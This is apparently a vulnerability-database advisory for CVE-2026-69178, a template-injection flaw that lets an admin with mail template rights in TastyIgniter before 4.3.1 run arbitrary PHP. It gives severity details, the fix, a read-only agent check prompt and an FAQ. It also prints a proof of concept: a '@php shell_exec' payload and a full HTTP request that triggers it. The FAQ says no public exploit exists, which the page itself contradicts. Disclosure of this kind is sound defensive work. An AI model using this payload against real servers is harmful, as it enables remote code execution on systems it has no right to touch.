# CVE-2026-69178: TastyIgniter mail template editor allows remote code execution via server-side template injection

- **Severity:** CRITICAL 9.1
- **CVSS:** 9.1 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: High; User interaction: None; Scope: Changed (impact reaches other components); Confidentiality impact: High; Integrity impact: High; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, login needed
- **CWE:** CWE-1336
- **Aliases:** GHSA-743w-g9pf-8p94
- **Published:** 2026-11-25T22:24:13.000Z
- **Modified:** 2026-11-25T22:24:14.000Z

> **AI summary (AI-generated, claude-haiku-5-5):** An admin user with mail template permission can inject PHP code into the mail template body in TastyIgniter, executing arbitrary commands on the server.

## Who should check

- Projects that depend on Packagist package tastyigniter/tastyigniter (\< 4.3.1)

## Description

\#\#\# Summary
\*\*Where:\*\* \`POST /admin/mail\_templates/edit/{id}\` → body field  
\*\*Who can trigger:\*\* Any admin user with \`Admin.MailTemplates\` permission  
\*\*Impact:\*\* Arbitrary PHP execution on the server — full RCE

\#\#\# Details
The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization.

\#\#\# PoC

- login as admin
- create new mail template with following command

\`\`\`
@php echo shell\_exec('echo "RCE Executed";id'); @endphp
\`\`\`  

- save the request
- execute the request using \`X-IGNITER-REQUEST-HANDLER: onTestTemplate\`

Request
\`\`\`http
POST /admin/mail\_templates/edit/20 HTTP/1.1
Host: localhost:8888
Content-Length: 47
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
X-IGNITER-REQUEST-PARTIALS: 
Accept: \*/\*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-IGNITER-REQUEST-HANDLER: onTestTemplate
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/mail\_templates/edit/20
Accept-Encoding: gzip, deflate, br
Cookie: laravel\_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember\_igniter-admin\_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6IjhvRGwrR1drU2JrTEhqcHh6QlNRdFE9PSIsInZhbHVlIjoiT2dpbUpNMGZkZzZUNVNZTFkyOFJtc25sZ2FXR3NxQ3JLMFBWUk5wNnl2WWtaNlpsNnBDYldFNkpMbEFKeVhnbjZWQW1MZzZPT3NjNlV0V3l5Z1NMVG9jamNFK0dzbFA4LzZhREFSNFFHQVNSTmJYOEFiOG0rZ0s2T1VQVmdCTlNrMVZ2dHBqMXMxazV5QWp2cXRCSjhoaU81aTlDeVBzaC9nbHlJRlM5SlYveDdTL2RUSG56NGZLQWNqOHVUTW5XalhjdWpwN1c3TjF6OGw3WVpNUndrZUY3dmRDQy8zR1J6MzJtaE81L1VxMD0iLCJtYWMiOiJmYzI5Y2E0ZTkyOTUyN2I5YmYzZjQzZWE0MDY2YTk0NTRkOWQ3MTEyODRmZjBjNzU2MGMyZWQwNmEwYWY5MDc1IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlZpTmZQTTREUHhpTE44ZUgxZVZ5Zmc9PSIsInZhbHVlIjoiOTRWSUtCQjM2ZmRwdjA3MVI2aHBjM3dITDViL0t0ajlPd1dTQ0xCZ3IxVGNGQWk2bzlDUEtLeFRZTlBXZDc2V0tuREZWVTVBakJTRjU4d052aEZxeUEvcU1BVFhmMjlPY2RGOHdWY1p4d25saSs0UHovZzFQaU1FeU9vKy9tbEoiLCJtYWMiOiJlZmRhNjZmNWU0MmY2MjZjYzJjNjMyY2JlNTMwNmJjZDMxOTU3MzFkOWQ4MDZiOGVkM2I3ZmY4NTAxOTdhYTU5IiwidGFnIjoiIn0%3D; tastyigniter\_session=eyJpdiI6IjRVU3c4T2Y2dnVhREtyZkxQZitPUHc9PSIsInZhbHVlIjoiWFFXaDVNbzJISlJZRjdRTVI3L2FNYUNxdklvVHZpb3FwNFA4M2J0aTBqNFI2VU8vL09lYWhlOVd3K1lhdFR5eEJTWUxxLzRHM0Z5KzlaUkhCOTdVMDEzc25PaWNzOE1yWW9PQkZSWHZZUVJGNnRkNGRuWVhvRC82RVl5YTU1ZnciLCJtYWMiOiI0ZjY2ODIxYWU1N2FkYmUxNGM5OWQ4ODU0MDU2YzRhODY1MmFlNmVkOTgwZTIzN2E0YjE0Y2MwMzg3NTc4MTZhIiwidGFnIjoiIn0%3D
Connection: keep-alive

\_token=L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
\`\`\`

- For the response, can check in the log.

\<img width="1315" height="516" alt="image" src="https://github.com/user-attachments/assets/2b6a01bf-14d2-4b33-b1d4-d0e284b54107" /\>

   

\#\#\# Impact
If attacker have access to admin user, it is possible to abuse this vulnerability to gain access into the system.

## Affected and fixed versions

- Packagist `tastyigniter/tastyigniter`: affected \< 4.3.1; fixed 4.3.1 (ghsa)

## Technologies

Composer packages, PHP (AI-matched)

## Mitigation

- Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-69178. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-69178.md
Affected: tastyigniter/tastyigniter < 4.3.1
Fixed in: 4.3.1

Steps:
1. Search this machine and project for tastyigniter/tastyigniter (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-69178 being exploited?

There is no confirmed exploitation: CVE-2026-69178 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-69178?

Critical: CVSS 9.1 (v3.1, scored by GitHub). Remote, login needed.

### Which versions are affected by CVE-2026-69178?

tastyigniter/tastyigniter \< 4.3.1.

### Is there a fix for CVE-2026-69178?

Yes. Fixed in 4.3.1. Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

### How do I check if I'm affected by CVE-2026-69178?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-743w-g9pf-8p94>
- patch: <https://github.com/tastyigniter/core/commit/785aa660f77fee9a221857b8b1f11b68a35fd257>
- other: <https://github.com/tastyigniter/core/releases/tag/v4.3.1>
- other: <https://github.com/advisories/GHSA-743w-g9pf-8p94>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-743w-g9pf-8p94> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-69178> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-69178>
